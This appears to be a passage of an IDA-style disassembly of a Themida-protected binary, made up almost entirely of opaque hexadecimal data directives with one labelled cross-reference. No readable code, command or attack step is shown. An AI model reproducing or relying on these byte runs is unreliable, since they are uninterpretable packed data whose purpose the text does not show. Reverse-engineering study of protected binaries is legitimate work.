		dd 4244481h, 1Bh, 0DEC35545h, 0DC99C157h, 0F1A3EF8h, 13E8DBB7h
		dd 24000000h, 0BC90BBAEh, 0A108DA72h, 5D8D8F30h, 58810C51h
		dd 0BD89782Fh, 5E90B5Dh, 0C30505Fh, 11440011h, 10E8C101h
		dd 2114430h
		dd 3114C00h, 4E98358h, 36EBE775h, 11043050h, 1116400h
		dd 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 9BC35545h, 49AB6F72h,	3DBD83F9h, 305E916h
		dd 385850Fh, 2BB0000h, 83349A28h, 0ECBACEBDh, 840F0005h
		dd 373h, 0BE9h,	5E3C5D00h, 0C66C5322h, 6446DF6Ah, 0BACEB5FFh
		dd 6A05ECh, 3E850h, 58200000h, 448958C3h, 44810424h, 160424h
		dd 50400000h, 9A727CC3h, 9159D2Bh, 95FF05E9h, 5E92B75h
		dd 0EE9h, 3A3A8E00h, 0C1A2770Eh, 628EA13Eh, 8B03604Ah
		dd 0ECBAC2B5h, 0D9BF0F05h, 106C7h, 6A0001h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F5162DC3h
		dd 0D97C35A6h, 0F47ADDAh, 68Eh,	559D8B00h, 8905E927h, 0E9283195h
		dd 66609605h, 60BB38BEh, 61616160h, 84BF6650h, 0E5BB967Ah
		dd 0FF54687Dh, 0ECBACEB5h, 68D0F05h, 2B000000h,	0E92AA99Dh
		dd 4D95FF05h, 8B05E92Bh, 0E90395BDh, 0C2B58B05h, 6A05ECBAh
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 14042444h
		dd 46000000h, 8BAAC356h, 0E90FDD85h, 0C820F05h,	0F000000h
		dd 682h, 659D8B00h, 8905E92Fh, 0C486h, 0F7816600h, 0D380527Fh
		dd 55958BFFh, 6005E926h, 4B9FE081h, 958B18B6h, 5E91145h
		dd 0CCBF6661h, 4C2837Ah, 0EE880B3h, 0FE000000h,	0F847F917h
		dd 0C174B843h, 0FA300698h, 0A6BB5192h, 5B395EE0h, 2050895Bh
		dd 6830Fh, 95890000h, 5E92ED5h,	0D055858Dh, 870F05ECh
		dd 3, 52FBBF0Fh, 5E9h, 71404D00h, 895F1F8Dh, 0B886h, 758D0100h
		dd 8905E910h, 0E932E58Dh, 0E9006A05h, 10h, 29FE7348h, 9F74DE98h
		dd 2CA1AC8Bh, 100337A4h, 0BACEB5FFh, 6A05ECh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 570565C3h
		dd 0AD95FFh, 0B58905E9h, 5E90339h, 89A6B350h, 6A2434h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 661378C3h, 6627F3BBh, 0FFB642BBh, 0ECBACEB5h, 0CE905h
		dd 5440000h, 9B21D710h,	98490251h, 95FFE0FEh, 5E93231h
		dd 1C8DBD89h, 0BD8305E9h, 5E92AB1h, 41840F00h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0ED25C351h, 2D8D9529h, 0F5005E9h,	286h, 89D88B00h
		dd 0DE92434h, 92000000h, 0A02DE7B2h, 7F7EAF37h,	48C9461h
		dd 0BACEB5FFh, 9D3305ECh, 5E93119h, 2F6195FFh, 0B58905E9h
		dd 5E908E5h, 0BACEB5FFh, 6A05ECh, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1B0424h, 50400000h, 896B86C3h, 0CB262148h
		dd 0C595FF02h, 6A05E92Dh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1A042444h, 47000000h, 1E86C357h, 0FB0CC3ADh
		dd 576060F7h, 3DC8815Ah, 61014C0Eh, 0D8B70F61h,	3FDBD83h
		dd 0F0205E9h, 5484h, 55006A00h,	3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 4203496Fh, 0FC79DD7Ah
		dd 55858BECh, 6605E930h, 0C614ECBBh, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 1C9B66C3h
		dd 0E61311BFh, 0A985C770h, 5E927h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 3132C351h, 0F2A4C987h, 0E92CA821h, 0FFFFF44Eh, 0B39BD8Bh
		dd 0BD2305E9h, 5E93111h, 0E957C18Bh, 12h, 0B48A3B5h, 55A4DAE6h
		dd 3A98551Fh, 0FADD264h, 0BA5F65F3h, 0F00E0000h, 0EA81h
		dd 0C283F000h, 49958914h, 8305E926h, 858D14EAh,	5EE3210h
		dd 35FF6450h, 0
		dd 258964h, 0E8000000h,	0
		db 'X+Â%',0
		db 0F0h, 2 dup(0FFh)
		dd 4D388166h, 12850F5Ah, 0F000000h, 33C50B7h, 503A81D0h
		dd 0F000045h, 0A84h, 10002D00h,	0D9E90000h, 8BFFFFFFh
		dd 698589C8h, 305E907h,	0B70F3C40h, 95890650h, 5E91D7Dh
		dd 8950508Bh, 0E9109995h, 0F80505h, 508B0000h, 89D1030Ch
		dd 0E9056995h, 8500305h, 2F859589h, 8F6405E9h, 5, 4C48300h
		dd 13E9h, 4C8B5100h, 0A9811024h, 0B0h, 1000h, 0C3C03359h
		dd 1EDDBD83h, 0F0005E9h, 2484h,	0E585C600h, 4705E90Eh
		dd 9AA7D268h, 0FDB5FFD4h, 8D05E91Eh, 0EC7A6F85h, 6AD0FF05h
		dd 89D0FF00h, 0E9179985h, 8DD38B05h, 0EE32C98Dh, 56006A05h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 6D50AA59h, 0D9529BCh, 8905E909h, 0E926558Dh,	92D38005h
		dd 80585C7h, 617005E9h,	0BD890000h, 5E9266Dh, 163D85C7h
		dd 5E9h, 0D88B0000h, 0FFD88B66h, 0E92839B5h, 0FFBF0F05h
		dd 0BC595FFh, 0BF0F05E9h, 698D89C6h, 6A05E932h,	9595FF00h
		dd 8B05E91Eh, 1D7CEBC0h, 93C79C47h, 3EEC8158h, 191E1A26h
		dd 3041EF11h, 0D7FE796Fh, 0B343212Fh, 7B51D260h, 5EABAE94h
		dd 0FA415917h, 15B74F09h, 35FC7027h, 88D508Ah, 0D43BB9AAh
		dd 93FB78C1h, 6A74AB0Ch, 463AC2F5h, 0D1327AE9h,	0BF3C4C85h
		dd 0B422D9F4h, 1F889FFBh, 0EBFE256Eh, 72F3C6F7h, 7366A97h
		dd 77C683C6h, 914166Ah,	15F632D1h, 10157690h, 2D5FE87h
		dd 55478CA5h, 7E2FAE50h, 8DD73EFFh, 0EE33FD8Dh,	13E905h
		dd 0E6430000h, 8FBABF42h, 0D5BAED77h, 0E7EB0E66h, 0AA05E64Ch
		dd 558D8974h, 6A05E926h, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1D042444h, 47000000h, 4F1FC357h, 0F89B82EDh
		dd 0E5BEDC77h, 80585C7h, 689805E9h, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0AA0190C3h
		dd 912FC7E8h, 0B79739BFh, 4830F56h, 66000000h, 0C736C4BFh
		dd 0E9163D85h, 5, 55858B00h, 0FF05E929h, 0E90399B5h, 51BD8905h
		dd 0FF05E929h, 0E90BC595h, 0FD850905h, 6A05E908h, 9595FF00h
		dd 8B05E91Eh, 0B17FEBC0h, 555DA92Ah, 4383995Eh,	54D275D5h
		dd 66DEBA0Ch, 757BA001h, 1FF75A98h, 40F37CC7h, 6E95B527h
		dd 0D3F7EE83h, 0A37E0B20h, 4160984Bh, 0B98BBA03h, 0DC3E627Ah
		dd 0AAFA18B7h, 8A6316F3h, 0DDC5891Eh, 6728C46Ah, 0F47A4372h
		dd 1EFF9E2Ah, 55F17664h, 12AB425Ah, 0BE148DA4h,	0B636FBEDh
		dd 0EC647C4Ah, 654D2F93h, 69433764h, 4BA61383h,	0C6E14BDh
		dd 7C686234h, 0C4DA0602h, 490B4118h, 5E88E37h, 8E000000h
		dd 27AD3AF3h, 0E7CBA66h, 0F3816659h, 0C1813BC7h, 6BB2h
		dd 1EA58D29h, 0B805E9h,	81000000h, 3A45C6h, 834FF56h, 0D6B70F60h
		dd 66CE8166h, 8B5F6168h, 68C781D9h, 8B3ECC5Dh, 8EC781DFh
		dd 2B33EDFFh, 0E930B595h, 6BC78105h, 894EBB48h,	0E90491BDh
		dd 9D895705h, 5E91861h,	0BE01048Fh, 5572EE19h, 0EAD9589h
		dd 0E88305E9h, 0EF38104h, 81799484h, 0FF94D0F8h, 0A6850FFFh
		dd 8BFFFFFFh, 0E92F45B5h, 7A8D8D05h, 8B05EE35h,	0E911EDB5h
		dd 558D8905h, 6605E926h, 85C7DA8Bh, 5E90805h, 6F08h, 0DC5858Bh
		dd 85C705E9h, 5E9163Dh,	0
		dd 0D79AB866h, 55B5FFh,	6A05E9h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 180424h, 50400000h, 38AC6C3h, 0BCB7B735h
		dd 0BC595FFh, 850905E9h, 5E91259h, 95FF006Ah, 5E91E95h
		dd 6AEBC08Bh, 0AEC1328Ah, 0D25BA30Eh, 0A6B58ECAh, 64CDE575h
		dd 270E6A1Fh, 0AF3A6563h, 5AD6B23Bh, 0DA445605h, 67D1842Ah
		dd 577E5715h, 0A54B4EE1h, 9352F03Bh, 0C812C735h, 53E6F253h
		dd 0BF575C50h, 567A9539h, 782E103h, 0AEDA1052h,	0BB43E9D1h
		dd 2574EC17h, 543D3D9Ch, 606B2F41h, 8518481Ah, 2CBCAADDh
		dd 0A173C171h, 0A09DDAA9h, 1E810007h, 77187CEFh, 54782EEFh
		dd 0FD66EDB5h, 0F51A0ABBh, 600B0AABh, 36872EEFh, 5DFCEDBDh
		dd 9DE9CB5Ah, 0F54507EAh, 0FF7DC7E2h, 72BD212Fh, 751E2EEFh
		dd 9D2C8F72h, 393AADEAh, 74C6C7F9h, 0C962279Ah,	71193FCEh
		dd 24615AEFh, 0CCFCA5BCh, 741E2AECh, 57B6AB66h,	0E90A2B06h
		dd 7128962Bh, 2CBAFD10h, 65D1936Ch, 782B06h, 0CC6F7EF8h
		dd 741E2AECh, 57B6AB66h, 0E90A2B06h, 71289B5Ch,	2CBAFD10h
		dd 9CA32E85h, 74782EECh, 2FFF75CFh, 703A7266h, 702B6A6Eh
		dd 74872EF9h, 0B8007DACh, 0B66106EAh, 23F04496h, 74782D07h
		dd 0B7630EEFh, 5062A7B0h, 504BAFEBh, 748732EBh,	0B79469EFh
		dd 6094B171h, 0EFBDF309h, 9FDA752h, 0FF39C7FFh,	271E442Fh
		dd 740F2D07h, 0B7DC0EEFh, 509FA7B4h, 50A5AFEBh,	74F037EBh
		dd 0B72B6DEFh, 77286E65h, 0F91D05B0h, 71E6217Ah, 0C75FA289h
		dd 7BC786BBh, 74E51A6Bh, 74FBC7EFh, 16F92EEFh, 0DC5BC01Ch
		dd 2684D0Dh, 0DB22F0Ch,	0F782C7C2h, 9DEBCB52h, 0F0EE2EEAh
		dd 74F02EAAh, 7E9171BEh, 1E3C2EEBh, 77F67BEFh, 540F2EEFh
		dd 0FDDAEDB2h, 0F5C70A83h, 6DE50AABh, 31F02EEFh, 940EEDBAh
		dd 0F09D3AA1h, 695BAB66h, 7FE72B06h, 31872EEFh,	0B1C19BEDh
		dd 7044A477h, 0E179CB27h, 71912316h, 533C90B5h,	7EF62CEFh
		dd 0A00F2EEFh, 0B6D30624h, 0E81E014Ch, 855C279Ah, 2DF5C7F9h
		dd 0E239AB62h, 7B5C2B03h, 741E2564h, 7409C7EFh,	0B9B22EEFh
		dd 0F475925Bh, 46CC9B66h, 8B912B06h, 78914E3Fh,	193C2EEFh
		dd 70C71046h, 0AEE564E3h, 0FF69EB7Fh, 9DEF2B5Ah, 0B4644FEAh
		dd 75E2AAE0h, 98CA2EEFh, 126B166Eh, 0F111D56Eh,	740F2EA4h
		dd 6E22DD6Eh, 0F5A51500h, 76E32A97h, 7771AAE0h,	74122EEFh
		dd 743FC6B8h, 2B3E2EEFh, 886712Ch, 30062ACBh, 74DB2ACBh
		dd 23A62EEFh, 121C472Ch, 6490A498h, 7E3C2EEFh, 45D0C858h
		dd 0B780E8A4h, 320BC0D9h, 7B7779B4h, 12BEFE58h,	146C166Eh
		dd 74D6ABE0h, 74562EEFh, 741DC6BEh, 2D2F2EEFh, 380E772Ch
		dd 30422ACBh, 74FA2ACBh, 25B12EEFh, 442D892Ch, 0CA3D7Ch
		dd 0FDA3A518h, 0FD0AC7EEh, 9DA91F62h, 76BBAEEAh, 1642107h
		dd 1EF02EEFh, 77907FEFh, 543C2EEFh, 0FD47EDB6h,	0F50B0AA3h
		dd 6F830AABh, 35C32EEFh, 0EB88EDBEh, 0CE2470B9h, 0F51E6DB9h
		dd 0DF3C2897h, 7458ABE0h, 0FE002EEFh, 74872EE1h, 5546278Fh
		dd 7FE4C7DEh, 9DFCEB72h, 0C8914FEAh, 1E3C2EEDh,	77F67CEFh
		dd 540F2EEFh, 0FDDDEDB5h, 0F5C70ABBh, 63E50AABh, 36F02EEFh
		dd 0F4AAEDBDh, 0FD5C5A98h, 9D3AAF52h, 0F59225EAh, 1582C7E9h
		dd 75C22E51h, 8D6C07A9h, 0F9F5C7C8h, 98EE6F6Ah,	233C44EAh
		dd 741E2D07h, 0B7500EEFh, 50FBA7B0h, 5087AFEBh,	74E134EBh
		dd 0B7A769EFh, 0CD3595AEh, 45AD0C4Bh, 9D3B5752h, 1EDFD1EAh
		dd 776F78EFh, 54C32EEFh, 0FDBFEDB1h, 0F5F40A9Bh, 637C0AABh
		dd 323C2EEFh, 26B3EDB9h, 0FF692361h, 7B47AB15h,	74C2D66Bh
		dd 25E144EFh, 74F02D07h, 0B7210EEFh, 5070A7B6h,	505AAFEBh
		dd 740F3AEBh, 0B7D66FEFh, 12FBAF0Bh, 7BE32CD2h,	74F0156Ah
		dd 217844EFh, 743C2D07h, 0B7430EEFh, 5063A7B2h,	50C3AFEBh
		dd 74C336EBh, 0B7B46BEFh, 67FFE3F1h, 7200AF5Dh,	0E631389h
		dd 75CBAAE0h, 7B592EEFh, 74872860h, 0F10CAFEFh,	2D9741A6h
		dd 0E8C8AF89h, 29FD218Fh, 753C2EEFh, 9D1CEF7Ah,	7677AEEAh
		dd 39022107h, 12C32EEFh, 7FDEE16Eh, 7288AF89h, 0F177EEEFh
		dd 743C2ED3h, 2D7AF89h,	759EC7ECh, 74ED2EEFh, 74C0C6BCh
		dd 2FC12EEFh, 2879752Ch, 30F92ACBh, 74272ACBh, 275D2EEFh
		dd 0D3F752Ch, 0E9D80BA6h, 74C9C7BCh, 3E7B2EEFh,	61D26E67h
		dd 0F47C98Bh, 753D2E51h, 241E4491h, 740F2D07h, 0B7DF0EEFh
		dd 5087A7B7h, 50A5AFEBh, 74F033EBh, 0B7286EEFh,	0C3E12E8Eh
		dd 365314FCh, 0E10452BBh, 716E03EAh, 0E282AB62h, 0F1682B03h
		dd 711906AEh, 0C9F3FE10h, 71D53826h, 4D9CC6Eh, 0B48A4325h
		dd 745CAAE0h, 74A92EEFh, 74E2C6B8h, 2BD02EEFh, 8F1712Ch
		dd 30BD2ACBh, 74092ACBh, 23482EEFh, 6DAAF82Ch, 6156A769h
		dd 0F4E4C7DFh, 0F1FFC6D7h, 74782ED3h, 743C2B07h, 9DB1B6EFh
		dd 2EF6EFEEh, 782566Fh,	74E5ABE0h, 0F1E82EEFh, 71193E62h
		dd 277F566Fh, 7485AAE0h, 65F72EEFh, 0C90F2EEFh,	90E8CBB0h
		dd 5F0F7E8Ch, 5089D409h, 0AFB1E6DFh, 0FB40AF89h, 12B921EAh
		dd 261E2EEFh, 5C3A9BDEh, 0F4D82B06h, 7BAB2897h,	74E17A6Ah
		dd 1238A5EFh, 8B73566Eh, 32B921CAh, 1E1E2EEFh, 77E77FEFh
		dd 54872EEFh, 0FD9AEDB6h, 0F5E50AA3h, 62F40AABh, 35782EEFh
		dd 440EDBEh, 3BD8AE14h,	740F7C06h, 94064EEFh, 4EF77184h
		dd 6DA09364h, 9D912B06h, 74782EE2h, 0AE6A2D52h,	0FBD1FD5Bh
		dd 688BADDh, 7487964Ch,	74A92EEFh, 74E2C6BCh, 2FD02EEFh
		dd 28F1752Ch, 30BD2ACBh, 74032ACBh, 274C2EEFh, 0F04E892Ch
		dd 256FF541h, 9DE3B622h, 74F02EFCh, 0CC8291E0h,	743C2EEEh
		dd 6D7BB366h, 0F5692B06h, 2473F836h, 704A425Eh,	744594CBh
		dd 0C97D7ABBh, 71961B06h, 4FB5A362h, 57A62B01h,	777848BAh
		dd 9D953F6Ah, 0B50C05EAh, 2E512C06h, 4491753Dh,	2D07241Eh
		dd 0EEF740Fh, 0A7B7B7DFh, 0AFEB5087h, 0E98350A5h, 58A4F305h
		dd 2AB5958Bh, 9D8905E9h, 5E9227Dh, 168D9D31h, 0C00B05E9h
		dd 8F840Fh, 6A0000h, 3E851h, 59200000h,	4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 189196C3h, 21B6CF84h, 0FDBB3C4h
		dd 0B58DD2BFh, 5E94E6Dh, 4C30D281h, 3B85536h, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 3FC353h, 0FEB8A0Bh, 685h,	0D1BD8B00h, 0FF05E916h
		dd 57006AE6h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0A6AEE932h, 9D8BFC38h, 5E90E4Dh,	6A40F9h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
		dd 0C59A8C3h, 9D895909h, 5E91875h, 14E9h, 7E78CE00h, 0CF8663F2h
		dd 74E46218h, 84F8B25Dh, 0BBC9F42Fh, 6AC08B75h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 1A042444h, 46000000h
		dd 0B1B3C356h, 0FF833567h, 6830FADh, 89000000h,	0E90D0D85h
		dd 14E805h, 0B0B80000h,	35824FAEh, 0CD6965B0h, 0E78C4520h
		dd 29566057h, 0B3512860h, 835F592Fh, 0E9164DBDh, 9750005h
		dd 1121BD83h, 740005E9h, 8B535019h, 403B8C0h, 85890000h
		dd 5E905ADh, 0B92B9D8Dh, 0D3FF05EBh, 0BD83585Bh, 5E91121h
		dd 50177400h, 403B853h,	85890000h, 5E905ADh, 0B5CC9D8Dh
		dd 0D3FF05EBh, 0BD89585Bh, 5E901F5h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 17h, 7DC35646h, 89A2A827h, 0E922D19Dh
		dd 9D8B6005h, 5E926B9h,	3A31F081h, 8B612E96h, 0B96656C0h
		dd 615B02D1h, 0D4712ADEh, 0DC4B46D4h, 0C8557F01h, 98525CD4h
		dd 0A90B3363h, 982633A9h, 5E265AF1h, 7128D6EFh,	0B44E6030h
		dd 67A5E4FFh, 7138CEF8h, 0F7A3BEA3h, 6723DF29h,	69A3BA79h
		dd 1B23DAE6h, 7138EED7h, 1D293330h, 98263383h, 0A55DB6C0h
		dd 15763648h, 761B5ED6h, 0DD963ACh, 9DCF0125h, 98266483h
		dd 15235935h, 761B4E1Fh, 1DAB6348h, 9DC80ECBh, 11B3CC03h
		dd 9323DAA6h, 0A1A23C14h, 1526336Ah, 761B4EB0h,	0AACE639Fh
		dd 0D826334Dh, 1BA3BEF6h, 0C823DD6Eh, 0A55BB624h, 6776363Ah
		dd 712596FFh, 94E2B030h, 0A55BB617h, 157636A3h,	761B5E23h
		dd 0DD96356h, 9DCF0158h, 9826513Dh, 74AD666Ah, 0CE746464h
		dd 0AB2E4E11h, 9824DA8Dh, 0DF6633A6h, 97260CD3h, 67D9C62Ch
		dd 13EF002Bh, 0B2CF3B17h, 0AB263335h, 1831B948h, 68AD03A7h
		dd 5AAD63E8h, 982C8800h, 9BCF33A9h, 6F2633D4h, 66A57D89h
		dd 6CA13C35h, 0C3D9CC65h, 0DF7EFB4Eh, 97E638EEh, 67D9FDD6h
		dd 0C6E7B856h, 517F6C8Eh, 152637A8h, 761B5888h,	38ABBE9Fh
		dd 2023DD73h, 93h, 71E7FC78h, 0D0073102h, 4C783C8h, 0F2850F49h
		dd 8DFFFFFFh, 0EE3EA0B5h, 0BF8D8D05h, 2B05EE3Eh, 5E983CFh
		dd 8D8DC88Bh, 5EE3F6Eh,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 15h, 33C35646h, 558D89D8h,	6A05E926h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 16042444h, 45000000h
		dd 0A410C355h, 9985890Bh, 0C705E907h, 0E9080585h, 637805h
		dd 3D85C700h, 5E916h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1A042444h, 45000000h, 0F15BC355h,	0E39F1C80h
		dd 0B5FFFC93h, 5E904BDh, 30919589h, 858B05E9h, 5E92E21h
		dd 0BC595FFh, 858B05E9h, 5E91979h, 8C66BF66h, 95FF006Ah
		dd 5E91E95h, 69EBC08Bh,	2C6962E7h, 37F50ACh, 0E9D26898h
		dd 3C10E40Eh, 7DC0C703h, 95E0592h, 0A197CFCBh, 31A6A9A5h
		dd 0A77BBAD3h, 0C7C1FDB7h, 0EFD7BEBEh, 0A43D4D77h, 0A5DBADE6h
		dd 614B2A4Bh, 42C56CA8h, 0B8F0C11Ch, 0CDB37E9Bh, 90026E52h
		dd 0EEDC47DDh, 0B9EE6D5Ah, 14B63847h, 0E3717E69h, 4196037Dh
		dd 0AA1B6219h, 249DF6CAh, 828A8F17h, 33582062h,	3331C854h
		dd 6E121001h, 5FBB55C2h, 77B30025h, 33240625h, 66770101h
		dd 781421C2h, 1A67CD88h, 0BF5425E8h, 61327AD9h,	33320BE9h
		dd 0F0682401h, 17668B5Bh, 17768005h, 33329805h,	0F0600201h
		dd 0B0DE14C7h, 0A28F9B65h, 9B37E118h, 60B60B05h, 0B8320203h
		dd 0DA1680BCh, 0D68F0304h, 3337A929h, 3358A40Eh, 33581001h
		dd 3331E050h, 6A120401h, 7FBB5BC2h, 77B30525h, 33258425h
		dd 62734001h, 9364B9C2h, 27DB70C7h, 0E4320801h,	9B4EEAE7h
		dd 515F8420h, 0CE415CE6h, 77200B24h, 0B8558DE7h, 0DA139DBCh
		dd 0C8DB7104h, 59320800h, 30DA5501h, 13320201h,	0BA6BC258h
		dd 0B236A44Dh
dword_592268	dd 24366445h, 72322001h, 0E839D350h, 0AE33446Ah, 36DB23F8h
					; DATA XREF: Themida_:00548712o
		dd 63E58991h, 55605157h, 3CD2D2BAh, 0BEA1FB30h,	6B681EA8h
		dd 3ADA805Bh, 320801h, 0EA6ED6CCh, 2CC0807Bh, 333211E9h
		dd 27DF0101h, 5AB9CA5Fh, 8CBD52FAh, 7AE22DA0h, 6CCA835Fh
		dd 7F330B5Bh, 3358FC25h, 3331E952h, 68128001h, 6FBB1BC2h
		dd 77B32425h, 33281425h, 60710801h, 535317C2h, 663803F1h
		dd 34CFBC8Ah, 0B86A85E8h, 0DA1BB59Ch, 1FF2A304h, 1653A500h
		dd 3BB90DE8h, 0DB65046Bh, 33320202h, 6CF15E21h,	3716FC88h
		dd 37160480h, 33322016h, 5DF14746h, 552DCCEEh, 0DACE4C8Ah
		dd 33320207h, 59B6942Ah, 0B254CCE4h, 3CCD7638h,	3332CC85h
		dd 3334F901h, 0EA390801h, 0ABD988Eh, 0DB3BC382h, 33320110h
		dd 61807FE3h, 8412CFACh, 899392FDh, 0AFD2A490h,	0E2B96E2Fh
		dd 0DA0B845Ah, 33C2870Eh, 33580101h, 33316852h,	68124001h
		dd 6FBB7BC2h, 77B31425h, 33250C25h, 60710401h, 4FF72CC2h
		dd 8AA78AC8h, 0B837690Ch, 33584140h, 3331C850h,	6A121001h
		dd 7FBB51C2h, 77B30025h, 33280625h, 62730101h, 0EC05D0C2h
		dd 31B86CCh, 0FC852F61h, 3CFA1360h, 33320C89h, 5D886201h
		dd 36F3816Bh, 0DB61016Bh, 33328002h, 68F11B21h,	37167C88h
		dd 37165480h, 33320818h, 34F15742h, 0AE05ECC2h,	333EE8FAh
		dd 69218001h, 4A68D211h, 0B99F0FF2h, 0AB3C5B9h,	0B8714391h
		dd 3366810Eh, 33580201h, 3331E957h, 6D128001h, 47BB1EC2h
		dd 77B32425h, 33251425h, 65740801h, 96684C2h, 5EBF8F99h
		dd 5937E84Fh, 30DAD701h, 13324001h, 0BA6DE35Eh,	0B236347Dh
		dd 24362C45h, 74320401h, 4F36C156h, 308A989Fh, 3C328001h
		dd 0D2CDBBBEh, 3DC3B588h, 8D5315E8h, 42310B21h,	0CEEB98Ch
		dd 0BEBF07EFh, 36DC43A6h, 0A1B1F4B9h, 46B77300h, 1837C92Bh
		dd 335820CEh, 3331C854h, 6E121001h, 5FBB55C2h, 77B30025h
		dd 33240625h, 66770101h, 0F305E983h, 6AC08BA4h,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 6514C355h, 0E4A9885h, 5207E5C7h, 6A5EF28Bh, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 48BEC355h, 0FA22EF5Ch, 9D89FF6Ch, 5E93171h, 0FE98589h
		dd 0C38B05E9h, 74E04EBh, 46E91AFAh, 98000005h, 2E143158h
		dd 0C0A6C3F2h, 51375483h, 0E0C6E316h, 565A77A2h, 0BDE8268Ch
		dd 5279BAA0h, 0E5104F35h, 75A8E2C8h, 0FCAA8B58h, 132759BAh
		dd 7B0DEB44h, 1AEAAC5Ah, 7EF416C9h, 8EC1FBE1h, 335E9C60h
		dd 0C3F63016h, 6A97D195h, 8D2002Bh, 78B478A6h, 0EA0D1B49h
		dd 0ACDF198Bh, 3F6AA98Fh, 89CD7B9Ch, 1516C91Ah,	755B029Fh
		dd 0A7D21136h, 12531745h, 1ABAFCAAh, 0CE4416C9h, 0E35A3E6Ch
		dd 0A8D31292h, 386BA58Bh, 507FBB95h, 5E63FBB3h,	0D816C91Ah
		dd 21EFBCB9h, 3F40CFD7h, 6Dh, 5588C205h, 1ACD8F27h, 0EE0516C9h
		dd 9A6D914h, 460AA1D4h,	5A40CFD7h, 13h,	0C520021h, 47E936EEh
		dd 36EED599h, 0B63D9E9h, 7BCAF895h, 1AEAAC5Ah, 7EF416C9h
		dd 90BFFBE1h, 33629E62h, 0D3064105h, 17497A5h, 1B3867A3h
		dd 2F5BBFEEh, 3ED05EF2h, 4A78A3E2h, 0C3FDE380h,	6C467390h
		dd 0BDD6042Bh, 0B7C9DE02h, 0E683E529h, 0A84C2B8h, 0A3A45845h
		dd 7B9041DDh, 0A205D2ABh, 0A8B3E143h, 0EC95D987h, 0A31916C9h
		dd 66E42006h, 0C02FBF1Eh, 235EBA9Bh, 96F8C2F0h,	6224D2F3h
		dd 6C16C98Fh, 0B1A159F6h, 1544805Ah, 4B801DE7h,	0C23C7A2Ah
		dd 5D2ACFDBh, 1906ECA5h, 0CD4B2F27h, 4566096Bh,	0C9B6D797h
		dd 0C461D716h, 0CAFD371Dh, 6C9BD89Ch, 0A7CE6F3Eh, 0DA5887B6h
		dd 0EC9DCC08h, 0D16E380Eh, 0CF2F3EF2h, 895240h,	0C2180000h
		dd 202B5984h, 40DD0846h, 0C0EE1D5Ah, 77E68FB2h,	0F6E2609Dh
		dd 0A8964711h, 0CFB552B4h, 63496691h, 8CCFA25h,	9D6C9ACDh
		dd 0B369D504h, 8258DAE0h, 98C5B0E5h, 0B55281BEh, 0CF091AD6h
		dd 11502A40h, 51EEB8E6h, 8230h,	0E01DF700h, 0C2E614B1h
		dd 0C8110A84h, 497A5970h, 1D7FE108h, 0EBAB597Ah, 0F316C9AFh
		dd 1D28E07Dh, 0A7D50843h, 1779A4E3h, 2A55947Ah,	403584FCh
		dd 0DEFB2664h, 7499D7B1h, 0FD9073Ah, 0C2E210ADh, 0F31E5D86h
		dd 6B99FBC5h, 0C91AEED3h, 0ABD61416h, 5178B97Dh, 0A1D43323h
		dd 0E4BED5FDh, 7E4876A9h, 94C9ACE1h, 0B24F7EBAh, 0CFD70DD3h
		dd 112340h, 0BBEA0000h,	71BC3509h, 5D84D4C4h, 236D7579h
		dd 0C2F624C1h, 0D9B35685h, 16CE6B9Eh, 0B7E51852h, 8B195CD3h
		dd 4D7C1F4Eh, 4C74F395h, 8A9F500Bh, 6AA20170h, 0C3FCA340h
		dd 95C4016Bh, 41E29033h, 0C51C3151h, 7322DA00h,	79B33EEFh
		dd 0EC4E1846h, 77515C8Ah, 6FAD093Ch, 0AF4C1644h, 26628FC9h
		dd 18F295F7h, 0B781AFDAh, 538D731Ah, 0AE5C7D20h, 1320E0E8h
		dd 2BE380F6h, 20E0D193h, 0A3D22113h, 7794C701h,	0EE2A5791h
		dd 65C791BFh, 6397337h,	0EC89E8D8h, 5C0A7EB8h, 1320E01Ah
		dd 0CAF534A4h, 1470D29Ch, 0B37DABD6h, 8B553451h, 0A545262Dh
		dd 110h, 0A7176F6Bh, 9FD5604h, 0B3291C32h, 5487C185h, 0E4175137h
		dd 85B8F2B6h, 5313C1E2h, 5B13202Bh, 0A09048E5h,	36703441h
		dd 5907E603h, 574526E6h, 43h, 0AC186F1Dh, 4F134170h, 0EEB8E611h
		dd 0D9872A8Ch, 16C91945h, 8FB053C9h, 0C91A9DE1h, 0EAB2116h
